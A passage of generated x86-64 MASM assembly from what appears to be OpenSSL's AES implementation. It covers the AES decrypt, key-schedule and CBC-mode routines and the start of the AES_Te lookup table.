xor eax,r9d
rol r11d,16
xor ecx,r12d
mov r13,QWORD PTR[256+r14]
xor ebx,r8d
xor edx,r11d
jmp $L$dec_loop_compact
ALIGN 16
$L$dec_compact_done::
xor eax,DWORD PTR[r15]
xor ebx,DWORD PTR[4+r15]
xor ecx,DWORD PTR[8+r15]
xor edx,DWORD PTR[12+r15]
DB 0f3h,0c3h
_x86_64_AES_decrypt_compact ENDP
PUBLIC AES_decrypt
ALIGN 16
PUBLIC asm_AES_decrypt
asm_AES_decrypt::
AES_decrypt PROC PUBLIC
mov QWORD PTR[8+rsp],rdi ;WIN64 prologue
mov QWORD PTR[16+rsp],rsi
mov rax,rsp
$L$SEH_begin_AES_decrypt::
mov rdi,rcx
mov rsi,rdx
mov rdx,r8
push rbx
push rbp
push r12
push r13
push r14
push r15
mov r10,rsp
lea rcx,QWORD PTR[((-63))+rdx]
and rsp,-64
sub rcx,rsp
neg rcx
and rcx,03c0h
sub rsp,rcx
sub rsp,32
mov QWORD PTR[16+rsp],rsi
mov QWORD PTR[24+rsp],r10
$L$dec_prologue::
mov r15,rdx
mov r13d,DWORD PTR[240+r15]
mov eax,DWORD PTR[rdi]
mov ebx,DWORD PTR[4+rdi]
mov ecx,DWORD PTR[8+rdi]
mov edx,DWORD PTR[12+rdi]
shl r13d,4
lea rbp,QWORD PTR[r13*1+r15]
mov QWORD PTR[rsp],r15
mov QWORD PTR[8+rsp],rbp
lea r14,QWORD PTR[(($L$AES_Td+2048))]
lea rbp,QWORD PTR[768+rsp]
sub rbp,r14
and rbp,0300h
lea r14,QWORD PTR[rbp*1+r14]
shr rbp,3
add r14,rbp
call _x86_64_AES_decrypt_compact
mov r9,QWORD PTR[16+rsp]
mov rsi,QWORD PTR[24+rsp]
mov DWORD PTR[r9],eax
mov DWORD PTR[4+r9],ebx
mov DWORD PTR[8+r9],ecx
mov DWORD PTR[12+r9],edx
mov r15,QWORD PTR[rsi]
mov r14,QWORD PTR[8+rsi]
mov r13,QWORD PTR[16+rsi]
mov r12,QWORD PTR[24+rsi]
mov rbp,QWORD PTR[32+rsi]
mov rbx,QWORD PTR[40+rsi]
lea rsp,QWORD PTR[48+rsi]
$L$dec_epilogue::
mov rdi,QWORD PTR[8+rsp] ;WIN64 epilogue
mov rsi,QWORD PTR[16+rsp]
DB 0F3h,0C3h ;repret
$L$SEH_end_AES_decrypt::
AES_decrypt ENDP
PUBLIC AES_set_encrypt_key
ALIGN 16
AES_set_encrypt_key PROC PUBLIC
mov QWORD PTR[8+rsp],rdi ;WIN64 prologue
mov QWORD PTR[16+rsp],rsi
mov rax,rsp
$L$SEH_begin_AES_set_encrypt_key::
mov rdi,rcx
mov rsi,rdx
mov rdx,r8
push rbx
push rbp
push r12
push r13
push r14
push r15
sub rsp,8
$L$enc_key_prologue::
call _x86_64_AES_set_encrypt_key
mov rbp,QWORD PTR[40+rsp]
mov rbx,QWORD PTR[48+rsp]
add rsp,56
$L$enc_key_epilogue::
mov rdi,QWORD PTR[8+rsp] ;WIN64 epilogue
mov rsi,QWORD PTR[16+rsp]
DB 0F3h,0C3h ;repret
$L$SEH_end_AES_set_encrypt_key::
AES_set_encrypt_key ENDP
ALIGN 16
_x86_64_AES_set_encrypt_key PROC PRIVATE
mov ecx,esi
mov rsi,rdi
mov rdi,rdx
test rsi,-1
jz $L$badpointer
test rdi,-1
jz $L$badpointer
lea rbp,QWORD PTR[$L$AES_Te]
lea rbp,QWORD PTR[((2048+128))+rbp]
mov eax,DWORD PTR[((0-128))+rbp]
mov ebx,DWORD PTR[((32-128))+rbp]
mov r8d,DWORD PTR[((64-128))+rbp]
mov edx,DWORD PTR[((96-128))+rbp]
mov eax,DWORD PTR[((128-128))+rbp]
mov ebx,DWORD PTR[((160-128))+rbp]
mov r8d,DWORD PTR[((192-128))+rbp]
mov edx,DWORD PTR[((224-128))+rbp]
cmp ecx,128
je $L$10rounds
cmp ecx,192
je $L$12rounds
cmp ecx,256
je $L$14rounds
mov rax,-2
jmp $L$exit
$L$10rounds::
mov rax,QWORD PTR[rsi]
mov rdx,QWORD PTR[8+rsi]
mov QWORD PTR[rdi],rax
mov QWORD PTR[8+rdi],rdx
shr rdx,32
xor ecx,ecx
jmp $L$10shortcut
ALIGN 4
$L$10loop::
mov eax,DWORD PTR[rdi]
mov edx,DWORD PTR[12+rdi]
$L$10shortcut::
movzx esi,dl
movzx ebx,BYTE PTR[((-128))+rsi*1+rbp]
movzx esi,dh
shl ebx,24
xor eax,ebx
movzx ebx,BYTE PTR[((-128))+rsi*1+rbp]
shr edx,16
movzx esi,dl
xor eax,ebx
movzx ebx,BYTE PTR[((-128))+rsi*1+rbp]
movzx esi,dh
shl ebx,8
xor eax,ebx
movzx ebx,BYTE PTR[((-128))+rsi*1+rbp]
shl ebx,16
xor eax,ebx
xor eax,DWORD PTR[((1024-128))+rcx*4+rbp]
mov DWORD PTR[16+rdi],eax
xor eax,DWORD PTR[4+rdi]
mov DWORD PTR[20+rdi],eax
xor eax,DWORD PTR[8+rdi]
mov DWORD PTR[24+rdi],eax
xor eax,DWORD PTR[12+rdi]
mov DWORD PTR[28+rdi],eax
add ecx,1
lea rdi,QWORD PTR[16+rdi]
cmp ecx,10
jl $L$10loop
mov DWORD PTR[80+rdi],10
xor rax,rax
jmp $L$exit
$L$12rounds::
mov rax,QWORD PTR[rsi]
mov rbx,QWORD PTR[8+rsi]
mov rdx,QWORD PTR[16+rsi]
mov QWORD PTR[rdi],rax
mov QWORD PTR[8+rdi],rbx
mov QWORD PTR[16+rdi],rdx
shr rdx,32
xor ecx,ecx
jmp $L$12shortcut
ALIGN 4
$L$12loop::
mov eax,DWORD PTR[rdi]
mov edx,DWORD PTR[20+rdi]
$L$12shortcut::
movzx esi,dl
movzx ebx,BYTE PTR[((-128))+rsi*1+rbp]
movzx esi,dh
shl ebx,24
xor eax,ebx
movzx ebx,BYTE PTR[((-128))+rsi*1+rbp]
shr edx,16
movzx esi,dl
xor eax,ebx
movzx ebx,BYTE PTR[((-128))+rsi*1+rbp]
movzx esi,dh
shl ebx,8
xor eax,ebx
movzx ebx,BYTE PTR[((-128))+rsi*1+rbp]
shl ebx,16
xor eax,ebx
xor eax,DWORD PTR[((1024-128))+rcx*4+rbp]
mov DWORD PTR[24+rdi],eax
xor eax,DWORD PTR[4+rdi]
mov DWORD PTR[28+rdi],eax
xor eax,DWORD PTR[8+rdi]
mov DWORD PTR[32+rdi],eax
xor eax,DWORD PTR[12+rdi]
mov DWORD PTR[36+rdi],eax
cmp ecx,7
je $L$12break
add ecx,1
xor eax,DWORD PTR[16+rdi]
mov DWORD PTR[40+rdi],eax
xor eax,DWORD PTR[20+rdi]
mov DWORD PTR[44+rdi],eax
lea rdi,QWORD PTR[24+rdi]
jmp $L$12loop
$L$12break::
mov DWORD PTR[72+rdi],12
xor rax,rax
jmp $L$exit
$L$14rounds::
mov rax,QWORD PTR[rsi]
mov rbx,QWORD PTR[8+rsi]
mov rcx,QWORD PTR[16+rsi]
mov rdx,QWORD PTR[24+rsi]
mov QWORD PTR[rdi],rax
mov QWORD PTR[8+rdi],rbx
mov QWORD PTR[16+rdi],rcx
mov QWORD PTR[24+rdi],rdx
shr rdx,32
xor ecx,ecx
jmp $L$14shortcut
ALIGN 4
$L$14loop::
mov eax,DWORD PTR[rdi]
mov edx,DWORD PTR[28+rdi]
$L$14shortcut::
movzx esi,dl
movzx ebx,BYTE PTR[((-128))+rsi*1+rbp]
movzx esi,dh
shl ebx,24
xor eax,ebx
movzx ebx,BYTE PTR[((-128))+rsi*1+rbp]
shr edx,16
movzx esi,dl
xor eax,ebx
movzx ebx,BYTE PTR[((-128))+rsi*1+rbp]
movzx esi,dh
shl ebx,8
xor eax,ebx
movzx ebx,BYTE PTR[((-128))+rsi*1+rbp]
shl ebx,16
xor eax,ebx
xor eax,DWORD PTR[((1024-128))+rcx*4+rbp]
mov DWORD PTR[32+rdi],eax
xor eax,DWORD PTR[4+rdi]
mov DWORD PTR[36+rdi],eax
xor eax,DWORD PTR[8+rdi]
mov DWORD PTR[40+rdi],eax
xor eax,DWORD PTR[12+rdi]
mov DWORD PTR[44+rdi],eax
cmp ecx,6
je $L$14break
add ecx,1
mov edx,eax
mov eax,DWORD PTR[16+rdi]
movzx esi,dl
movzx ebx,BYTE PTR[((-128))+rsi*1+rbp]
movzx esi,dh
xor eax,ebx
movzx ebx,BYTE PTR[((-128))+rsi*1+rbp]
shr edx,16
shl ebx,8
movzx esi,dl
xor eax,ebx
movzx ebx,BYTE PTR[((-128))+rsi*1+rbp]
movzx esi,dh
shl ebx,16
xor eax,ebx
movzx ebx,BYTE PTR[((-128))+rsi*1+rbp]
shl ebx,24
xor eax,ebx
mov DWORD PTR[48+rdi],eax
xor eax,DWORD PTR[20+rdi]
mov DWORD PTR[52+rdi],eax
xor eax,DWORD PTR[24+rdi]
mov DWORD PTR[56+rdi],eax
xor eax,DWORD PTR[28+rdi]
mov DWORD PTR[60+rdi],eax
lea rdi,QWORD PTR[32+rdi]
jmp $L$14loop
$L$14break::
mov DWORD PTR[48+rdi],14
xor rax,rax
jmp $L$exit
$L$badpointer::
mov rax,-1
$L$exit::
DB 0f3h,0c3h
_x86_64_AES_set_encrypt_key ENDP
PUBLIC AES_set_decrypt_key
ALIGN 16
AES_set_decrypt_key PROC PUBLIC
mov QWORD PTR[8+rsp],rdi ;WIN64 prologue
mov QWORD PTR[16+rsp],rsi
mov rax,rsp
$L$SEH_begin_AES_set_decrypt_key::
mov rdi,rcx
mov rsi,rdx
mov rdx,r8
push rbx
push rbp
push r12
push r13
push r14
push r15
push rdx
$L$dec_key_prologue::
call _x86_64_AES_set_encrypt_key
mov r8,QWORD PTR[rsp]
cmp eax,0
jne $L$abort
mov r14d,DWORD PTR[240+r8]
xor rdi,rdi
lea rcx,QWORD PTR[r14*4+rdi]
mov rsi,r8
lea rdi,QWORD PTR[rcx*4+r8]
ALIGN 4
$L$invert::
mov rax,QWORD PTR[rsi]
mov rbx,QWORD PTR[8+rsi]
mov rcx,QWORD PTR[rdi]
mov rdx,QWORD PTR[8+rdi]
mov QWORD PTR[rdi],rax
mov QWORD PTR[8+rdi],rbx
mov QWORD PTR[rsi],rcx
mov QWORD PTR[8+rsi],rdx
lea rsi,QWORD PTR[16+rsi]
lea rdi,QWORD PTR[((-16))+rdi]
cmp rdi,rsi
jne $L$invert
lea rax,QWORD PTR[(($L$AES_Te+2048+1024))]
mov rsi,QWORD PTR[40+rax]
mov rdi,QWORD PTR[48+rax]
mov rbp,QWORD PTR[56+rax]
mov r15,r8
sub r14d,1
ALIGN 4
$L$permute::
lea r15,QWORD PTR[16+r15]
mov rax,QWORD PTR[r15]
mov rcx,QWORD PTR[8+r15]
mov r9,rsi
mov r12,rsi
and r9,rax
and r12,rcx
mov rbx,r9
mov rdx,r12
shr r9,7
lea r8,QWORD PTR[rax*1+rax]
shr r12,7
lea r11,QWORD PTR[rcx*1+rcx]
sub rbx,r9
sub rdx,r12
and r8,rdi
and r11,rdi
and rbx,rbp
and rdx,rbp
xor r8,rbx
xor r11,rdx
mov r10,rsi
mov r13,rsi
and r10,r8
and r13,r11
mov rbx,r10
mov rdx,r13
shr r10,7
lea r9,QWORD PTR[r8*1+r8]
shr r13,7
lea r12,QWORD PTR[r11*1+r11]
sub rbx,r10
sub rdx,r13
and r9,rdi
and r12,rdi
and rbx,rbp
and rdx,rbp
xor r9,rbx
xor r12,rdx
mov r10,rsi
mov r13,rsi
and r10,r9
and r13,r12
mov rbx,r10
mov rdx,r13
shr r10,7
xor r8,rax
shr r13,7
xor r11,rcx
sub rbx,r10
sub rdx,r13
lea r10,QWORD PTR[r9*1+r9]
lea r13,QWORD PTR[r12*1+r12]
xor r9,rax
xor r12,rcx
and r10,rdi
and r13,rdi
and rbx,rbp
and rdx,rbp
xor r10,rbx
xor r13,rdx
xor rax,r10
xor rcx,r13
xor r8,r10
xor r11,r13
mov rbx,rax
mov rdx,rcx
xor r9,r10
shr rbx,32
xor r12,r13
shr rdx,32
xor r10,r8
rol eax,8
xor r13,r11
rol ecx,8
xor r10,r9
rol ebx,8
xor r13,r12
rol edx,8
xor eax,r10d
shr r10,32
xor ecx,r13d
shr r13,32
xor ebx,r10d
xor edx,r13d
mov r10,r8
rol r8d,24
mov r13,r11
rol r11d,24
shr r10,32
xor eax,r8d
shr r13,32
xor ecx,r11d
rol r10d,24
mov r8,r9
rol r13d,24
mov r11,r12
shr r8,32
xor ebx,r10d
shr r11,32
xor edx,r13d
rol r9d,16
rol r12d,16
rol r8d,16
xor eax,r9d
rol r11d,16
xor ecx,r12d
xor ebx,r8d
xor edx,r11d
mov DWORD PTR[r15],eax
mov DWORD PTR[4+r15],ebx
mov DWORD PTR[8+r15],ecx
mov DWORD PTR[12+r15],edx
sub r14d,1
jnz $L$permute
xor rax,rax
$L$abort::
mov r15,QWORD PTR[8+rsp]
mov r14,QWORD PTR[16+rsp]
mov r13,QWORD PTR[24+rsp]
mov r12,QWORD PTR[32+rsp]
mov rbp,QWORD PTR[40+rsp]
mov rbx,QWORD PTR[48+rsp]
add rsp,56
$L$dec_key_epilogue::
mov rdi,QWORD PTR[8+rsp] ;WIN64 epilogue
mov rsi,QWORD PTR[16+rsp]
DB 0F3h,0C3h ;repret
$L$SEH_end_AES_set_decrypt_key::
AES_set_decrypt_key ENDP
PUBLIC AES_cbc_encrypt
ALIGN 16
EXTERN OPENSSL_ia32cap_P:NEAR
PUBLIC asm_AES_cbc_encrypt
asm_AES_cbc_encrypt::
AES_cbc_encrypt PROC PUBLIC
mov QWORD PTR[8+rsp],rdi ;WIN64 prologue
mov QWORD PTR[16+rsp],rsi
mov rax,rsp
$L$SEH_begin_AES_cbc_encrypt::
mov rdi,rcx
mov rsi,rdx
mov rdx,r8
mov rcx,r9
mov r8,QWORD PTR[40+rsp]
mov r9,QWORD PTR[48+rsp]
cmp rdx,0
je $L$cbc_epilogue
pushfq
push rbx
push rbp
push r12
push r13
push r14
push r15
$L$cbc_prologue::
cld
mov r9d,r9d
lea r14,QWORD PTR[$L$AES_Te]
cmp r9,0
jne $L$cbc_picked_te
lea r14,QWORD PTR[$L$AES_Td]
$L$cbc_picked_te::
mov r10d,DWORD PTR[OPENSSL_ia32cap_P]
cmp rdx,512
jb $L$cbc_slow_prologue
test rdx,15
jnz $L$cbc_slow_prologue
bt r10d,28
jc $L$cbc_slow_prologue
lea r15,QWORD PTR[((-88-248))+rsp]
and r15,-64
mov r10,r14
lea r11,QWORD PTR[2304+r14]
mov r12,r15
and r10,0FFFh
and r11,0FFFh
and r12,0FFFh
cmp r12,r11
jb $L$cbc_te_break_out
sub r12,r11
sub r15,r12
jmp $L$cbc_te_ok
$L$cbc_te_break_out::
sub r12,r10
and r12,0FFFh
add r12,320
sub r15,r12
ALIGN 4
$L$cbc_te_ok::
xchg r15,rsp
mov QWORD PTR[16+rsp],r15
$L$cbc_fast_body::
mov QWORD PTR[24+rsp],rdi
mov QWORD PTR[32+rsp],rsi
mov QWORD PTR[40+rsp],rdx
mov QWORD PTR[48+rsp],rcx
mov QWORD PTR[56+rsp],r8
mov DWORD PTR[((80+240))+rsp],0
mov rbp,r8
mov rbx,r9
mov r9,rsi
mov r8,rdi
mov r15,rcx
mov eax,DWORD PTR[240+r15]
mov r10,r15
sub r10,r14
and r10,0fffh
cmp r10,2304
jb $L$cbc_do_ecopy
cmp r10,4096-248
jb $L$cbc_skip_ecopy
ALIGN 4
$L$cbc_do_ecopy::
mov rsi,r15
lea rdi,QWORD PTR[80+rsp]
lea r15,QWORD PTR[80+rsp]
mov ecx,240/8
DD 090A548F3h
mov DWORD PTR[rdi],eax
$L$cbc_skip_ecopy::
mov QWORD PTR[rsp],r15
mov ecx,18
ALIGN 4
$L$cbc_prefetch_te::
mov r10,QWORD PTR[r14]
mov r11,QWORD PTR[32+r14]
mov r12,QWORD PTR[64+r14]
mov r13,QWORD PTR[96+r14]
lea r14,QWORD PTR[128+r14]
sub ecx,1
jnz $L$cbc_prefetch_te
lea r14,QWORD PTR[((-2304))+r14]
cmp rbx,0
je $L$FAST_DECRYPT
mov eax,DWORD PTR[rbp]
mov ebx,DWORD PTR[4+rbp]
mov ecx,DWORD PTR[8+rbp]
mov edx,DWORD PTR[12+rbp]
ALIGN 4
$L$cbc_fast_enc_loop::
xor eax,DWORD PTR[r8]
xor ebx,DWORD PTR[4+r8]
xor ecx,DWORD PTR[8+r8]
xor edx,DWORD PTR[12+r8]
mov r15,QWORD PTR[rsp]
mov QWORD PTR[24+rsp],r8
call _x86_64_AES_encrypt
mov r8,QWORD PTR[24+rsp]
mov r10,QWORD PTR[40+rsp]
mov DWORD PTR[r9],eax
mov DWORD PTR[4+r9],ebx
mov DWORD PTR[8+r9],ecx
mov DWORD PTR[12+r9],edx
lea r8,QWORD PTR[16+r8]
lea r9,QWORD PTR[16+r9]
sub r10,16
test r10,-16
mov QWORD PTR[40+rsp],r10
jnz $L$cbc_fast_enc_loop
mov rbp,QWORD PTR[56+rsp]
mov DWORD PTR[rbp],eax
mov DWORD PTR[4+rbp],ebx
mov DWORD PTR[8+rbp],ecx
mov DWORD PTR[12+rbp],edx
jmp $L$cbc_fast_cleanup
ALIGN 16
$L$FAST_DECRYPT::
cmp r9,r8
je $L$cbc_fast_dec_in_place
mov QWORD PTR[64+rsp],rbp
ALIGN 4
$L$cbc_fast_dec_loop::
mov eax,DWORD PTR[r8]
mov ebx,DWORD PTR[4+r8]
mov ecx,DWORD PTR[8+r8]
mov edx,DWORD PTR[12+r8]
mov r15,QWORD PTR[rsp]
mov QWORD PTR[24+rsp],r8
call _x86_64_AES_decrypt
mov rbp,QWORD PTR[64+rsp]
mov r8,QWORD PTR[24+rsp]
mov r10,QWORD PTR[40+rsp]
xor eax,DWORD PTR[rbp]
xor ebx,DWORD PTR[4+rbp]
xor ecx,DWORD PTR[8+rbp]
xor edx,DWORD PTR[12+rbp]
mov rbp,r8
sub r10,16
mov QWORD PTR[40+rsp],r10
mov QWORD PTR[64+rsp],rbp
mov DWORD PTR[r9],eax
mov DWORD PTR[4+r9],ebx
mov DWORD PTR[8+r9],ecx
mov DWORD PTR[12+r9],edx
lea r8,QWORD PTR[16+r8]
lea r9,QWORD PTR[16+r9]
jnz $L$cbc_fast_dec_loop
mov r12,QWORD PTR[56+rsp]
mov r10,QWORD PTR[rbp]
mov r11,QWORD PTR[8+rbp]
mov QWORD PTR[r12],r10
mov QWORD PTR[8+r12],r11
jmp $L$cbc_fast_cleanup
ALIGN 16
$L$cbc_fast_dec_in_place::
mov r10,QWORD PTR[rbp]
mov r11,QWORD PTR[8+rbp]
mov QWORD PTR[((0+64))+rsp],r10
mov QWORD PTR[((8+64))+rsp],r11
ALIGN 4
$L$cbc_fast_dec_in_place_loop::
mov eax,DWORD PTR[r8]
mov ebx,DWORD PTR[4+r8]
mov ecx,DWORD PTR[8+r8]
mov edx,DWORD PTR[12+r8]
mov r15,QWORD PTR[rsp]
mov QWORD PTR[24+rsp],r8
call _x86_64_AES_decrypt
mov r8,QWORD PTR[24+rsp]
mov r10,QWORD PTR[40+rsp]
xor eax,DWORD PTR[((0+64))+rsp]
xor ebx,DWORD PTR[((4+64))+rsp]
xor ecx,DWORD PTR[((8+64))+rsp]
xor edx,DWORD PTR[((12+64))+rsp]
mov r11,QWORD PTR[r8]
mov r12,QWORD PTR[8+r8]
sub r10,16
jz $L$cbc_fast_dec_in_place_done
mov QWORD PTR[((0+64))+rsp],r11
mov QWORD PTR[((8+64))+rsp],r12
mov DWORD PTR[r9],eax
mov DWORD PTR[4+r9],ebx
mov DWORD PTR[8+r9],ecx
mov DWORD PTR[12+r9],edx
lea r8,QWORD PTR[16+r8]
lea r9,QWORD PTR[16+r9]
mov QWORD PTR[40+rsp],r10
jmp $L$cbc_fast_dec_in_place_loop
$L$cbc_fast_dec_in_place_done::
mov rdi,QWORD PTR[56+rsp]
mov QWORD PTR[rdi],r11
mov QWORD PTR[8+rdi],r12
mov DWORD PTR[r9],eax
mov DWORD PTR[4+r9],ebx
mov DWORD PTR[8+r9],ecx
mov DWORD PTR[12+r9],edx
ALIGN 4
$L$cbc_fast_cleanup::
cmp DWORD PTR[((80+240))+rsp],0
lea rdi,QWORD PTR[80+rsp]
je $L$cbc_exit
mov ecx,240/8
xor rax,rax
DD 090AB48F3h
jmp $L$cbc_exit
ALIGN 16
$L$cbc_slow_prologue::
lea rbp,QWORD PTR[((-88))+rsp]
and rbp,-64
lea r10,QWORD PTR[((-88-63))+rcx]
sub r10,rbp
neg r10
and r10,03c0h
sub rbp,r10
xchg rbp,rsp
mov QWORD PTR[16+rsp],rbp
$L$cbc_slow_body::
mov QWORD PTR[56+rsp],r8
mov rbp,r8
mov rbx,r9
mov r9,rsi
mov r8,rdi
mov r15,rcx
mov r10,rdx
mov eax,DWORD PTR[240+r15]
mov QWORD PTR[rsp],r15
shl eax,4
lea rax,QWORD PTR[rax*1+r15]
mov QWORD PTR[8+rsp],rax
lea r14,QWORD PTR[2048+r14]
lea rax,QWORD PTR[((768-8))+rsp]
sub rax,r14
and rax,0300h
lea r14,QWORD PTR[rax*1+r14]
cmp rbx,0
je $L$SLOW_DECRYPT
test r10,-16
mov eax,DWORD PTR[rbp]
mov ebx,DWORD PTR[4+rbp]
mov ecx,DWORD PTR[8+rbp]
mov edx,DWORD PTR[12+rbp]
jz $L$cbc_slow_enc_tail
ALIGN 4
$L$cbc_slow_enc_loop::
xor eax,DWORD PTR[r8]
xor ebx,DWORD PTR[4+r8]
xor ecx,DWORD PTR[8+r8]
xor edx,DWORD PTR[12+r8]
mov r15,QWORD PTR[rsp]
mov QWORD PTR[24+rsp],r8
mov QWORD PTR[32+rsp],r9
mov QWORD PTR[40+rsp],r10
call _x86_64_AES_encrypt_compact
mov r8,QWORD PTR[24+rsp]
mov r9,QWORD PTR[32+rsp]
mov r10,QWORD PTR[40+rsp]
mov DWORD PTR[r9],eax
mov DWORD PTR[4+r9],ebx
mov DWORD PTR[8+r9],ecx
mov DWORD PTR[12+r9],edx
lea r8,QWORD PTR[16+r8]
lea r9,QWORD PTR[16+r9]
sub r10,16
test r10,-16
jnz $L$cbc_slow_enc_loop
test r10,15
jnz $L$cbc_slow_enc_tail
mov rbp,QWORD PTR[56+rsp]
mov DWORD PTR[rbp],eax
mov DWORD PTR[4+rbp],ebx
mov DWORD PTR[8+rbp],ecx
mov DWORD PTR[12+rbp],edx
jmp $L$cbc_exit
ALIGN 4
$L$cbc_slow_enc_tail::
mov r11,rax
mov r12,rcx
mov rcx,r10
mov rsi,r8
mov rdi,r9
DD 09066A4F3h
mov rcx,16
sub rcx,r10
xor rax,rax
DD 09066AAF3h
mov r8,r9
mov r10,16
mov rax,r11
mov rcx,r12
jmp $L$cbc_slow_enc_loop
ALIGN 16
$L$SLOW_DECRYPT::
shr rax,3
add r14,rax
mov r11,QWORD PTR[rbp]
mov r12,QWORD PTR[8+rbp]
mov QWORD PTR[((0+64))+rsp],r11
mov QWORD PTR[((8+64))+rsp],r12
ALIGN 4
$L$cbc_slow_dec_loop::
mov eax,DWORD PTR[r8]
mov ebx,DWORD PTR[4+r8]
mov ecx,DWORD PTR[8+r8]
mov edx,DWORD PTR[12+r8]
mov r15,QWORD PTR[rsp]
mov QWORD PTR[24+rsp],r8
mov QWORD PTR[32+rsp],r9
mov QWORD PTR[40+rsp],r10
call _x86_64_AES_decrypt_compact
mov r8,QWORD PTR[24+rsp]
mov r9,QWORD PTR[32+rsp]
mov r10,QWORD PTR[40+rsp]
xor eax,DWORD PTR[((0+64))+rsp]
xor ebx,DWORD PTR[((4+64))+rsp]
xor ecx,DWORD PTR[((8+64))+rsp]
xor edx,DWORD PTR[((12+64))+rsp]
mov r11,QWORD PTR[r8]
mov r12,QWORD PTR[8+r8]
sub r10,16
jc $L$cbc_slow_dec_partial
jz $L$cbc_slow_dec_done
mov QWORD PTR[((0+64))+rsp],r11
mov QWORD PTR[((8+64))+rsp],r12
mov DWORD PTR[r9],eax
mov DWORD PTR[4+r9],ebx
mov DWORD PTR[8+r9],ecx
mov DWORD PTR[12+r9],edx
lea r8,QWORD PTR[16+r8]
lea r9,QWORD PTR[16+r9]
jmp $L$cbc_slow_dec_loop
$L$cbc_slow_dec_done::
mov rdi,QWORD PTR[56+rsp]
mov QWORD PTR[rdi],r11
mov QWORD PTR[8+rdi],r12
mov DWORD PTR[r9],eax
mov DWORD PTR[4+r9],ebx
mov DWORD PTR[8+r9],ecx
mov DWORD PTR[12+r9],edx
jmp $L$cbc_exit
ALIGN 4
$L$cbc_slow_dec_partial::
mov rdi,QWORD PTR[56+rsp]
mov QWORD PTR[rdi],r11
mov QWORD PTR[8+rdi],r12
mov DWORD PTR[((0+64))+rsp],eax
mov DWORD PTR[((4+64))+rsp],ebx
mov DWORD PTR[((8+64))+rsp],ecx
mov DWORD PTR[((12+64))+rsp],edx
mov rdi,r9
lea rsi,QWORD PTR[64+rsp]
lea rcx,QWORD PTR[16+r10]
DD 09066A4F3h
jmp $L$cbc_exit
ALIGN 16
$L$cbc_exit::
mov rsi,QWORD PTR[16+rsp]
mov r15,QWORD PTR[rsi]
mov r14,QWORD PTR[8+rsi]
mov r13,QWORD PTR[16+rsi]
mov r12,QWORD PTR[24+rsi]
mov rbp,QWORD PTR[32+rsi]
mov rbx,QWORD PTR[40+rsi]
lea rsp,QWORD PTR[48+rsi]
$L$cbc_popfq::
popfq
$L$cbc_epilogue::
mov rdi,QWORD PTR[8+rsp] ;WIN64 epilogue
mov rsi,QWORD PTR[16+rsp]
DB 0F3h,0C3h ;repret
$L$SEH_end_AES_cbc_encrypt::
AES_cbc_encrypt ENDP
ALIGN 64
$L$AES_Te::
DD 0a56363c6h,0a56363c6h
DD 0847c7cf8h,0847c7cf8h
DD 0997777eeh,0997777eeh
DD 08d7b7bf6h,08d7b7bf6h
DD 00df2f2ffh,00df2f2ffh
DD 0bd6b6bd6h,0bd6b6bd6h
DD 0b16f6fdeh,0b16f6fdeh
DD 054c5c591h,054c5c591h
DD 050303060h,050303060h
DD 003010102h,003010102h
DD 0a96767ceh,0a96767ceh
DD 07d2b2b56h,07d2b2b56h
DD 019fefee7h,019fefee7h
DD 062d7d7b5h,062d7d7b5h
DD 0e6abab4dh,0e6abab4dh
DD 09a7676ech,09a7676ech
DD 045caca8fh,045caca8fh
DD 09d82821fh,09d82821fh
DD 040c9c989h,040c9c989h
DD 0877d7dfah,0877d7dfah
DD 015fafaefh,015fafaefh
DD 0eb5959b2h,0eb5959b2h
DD 0c947478eh,0c947478eh
DD 00bf0f0fbh,00bf0f0fbh
DD 0ecadad41h,0ecadad41h
DD 067d4d4b3h,067d4d4b3h
DD 0fda2a25fh,0fda2a25fh
DD 0eaafaf45h,0eaafaf45h
DD 0bf9c9c23h,0bf9c9c23h
DD 0f7a4a453h,0f7a4a453h
DD 0967272e4h,0967272e4h
DD 05bc0c09bh,05bc0c09bh
DD 0c2b7b775h,0c2b7b775h
DD 01cfdfde1h,01cfdfde1h
DD 0ae93933dh,0ae93933dh
DD 06a26264ch,06a26264ch
DD 05a36366ch,05a36366ch
DD 0413f3f7eh,0413f3f7eh
DD 002f7f7f5h,002f7f7f5h
DD 04fcccc83h,04fcccc83h
DD 05c343468h,05c343468h
DD 0f4a5a551h,0f4a5a551h
DD 034e5e5d1h,034e5e5d1h
DD 008f1f1f9h,008f1f1f9h
DD 0937171e2h,0937171e2h
DD 073d8d8abh,073d8d8abh
DD 053313162h,053313162h
DD 03f15152ah,03f15152ah
DD 00c040408h,00c040408h
DD 052c7c795h,052c7c795h
DD 065232346h,065232346h
DD 05ec3c39dh,05ec3c39dh
DD 028181830h,028181830h
DD 0a1969637h,0a1969637h
DD 00f05050ah,00f05050ah
DD 0b59a9a2fh,0b59a9a2fh
DD 00907070eh,00907070eh
DD 036121224h,036121224h
DD 09b80801bh,09b80801bh
DD 03de2e2dfh,03de2e2dfh
DD 026ebebcdh,026ebebcdh
DD 06927274eh,06927274eh
DD 0cdb2b27fh,0cdb2b27fh
DD 09f7575eah,09f7575eah
DD 01b090912h,01b090912h
DD 09e83831dh,09e83831dh
DD 0742c2c58h,0742c2c58h
DD 02e1a1a34h,02e1a1a34h
DD 02d1b1b36h,02d1b1b36h
DD 0b26e6edch,0b26e6edch
DD 0ee5a5ab4h,0ee5a5ab4h
DD 0fba0a05bh,0fba0a05bh
DD 0f65252a4h,0f65252a4h
DD 04d3b3b76h,04d3b3b76h
DD 061d6d6b7h,061d6d6b7h
DD 0ceb3b37dh,0ceb3b37dh
DD 07b292952h,07b292952h
DD 03ee3e3ddh,03ee3e3ddh
DD 0712f2f5eh,0712f2f5eh
DD 097848413h,097848413h
DD 0f55353a6h,0f55353a6h
DD 068d1d1b9h,068d1d1b9h
DD 000000000h,000000000h
DD 02cededc1h,02cededc1h
DD 060202040h,060202040h
DD 01ffcfce3h,01ffcfce3h
DD 0c8b1b179h,0c8b1b179h
DD 0ed5b5bb6h,0ed5b5bb6h
DD 0be6a6ad4h,0be6a6ad4h
DD 046cbcb8dh,046cbcb8dh
DD 0d9bebe67h,0d9bebe67h
DD 04b393972h,04b393972h
DD 0de4a4a94h,0de4a4a94h
DD 0d44c4c98h,0d44c4c98h
DD 0e85858b0h,0e85858b0h
DD 04acfcf85h,04acfcf85h
DD 06bd0d0bbh,06bd0d0bbh
DD 02aefefc5h,02aefefc5h
DD 0e5aaaa4fh,0e5aaaa4fh
DD 016fbfbedh,016fbfbedh
DD 0c5434386h,0c5434386h
DD 0d74d4d9ah,0d74d4d9ah
DD 055333366h,055333366h
DD 094858511h,094858511h
DD 0cf45458ah,0cf45458ah
DD 010f9f9e9h,010f9f9e9h
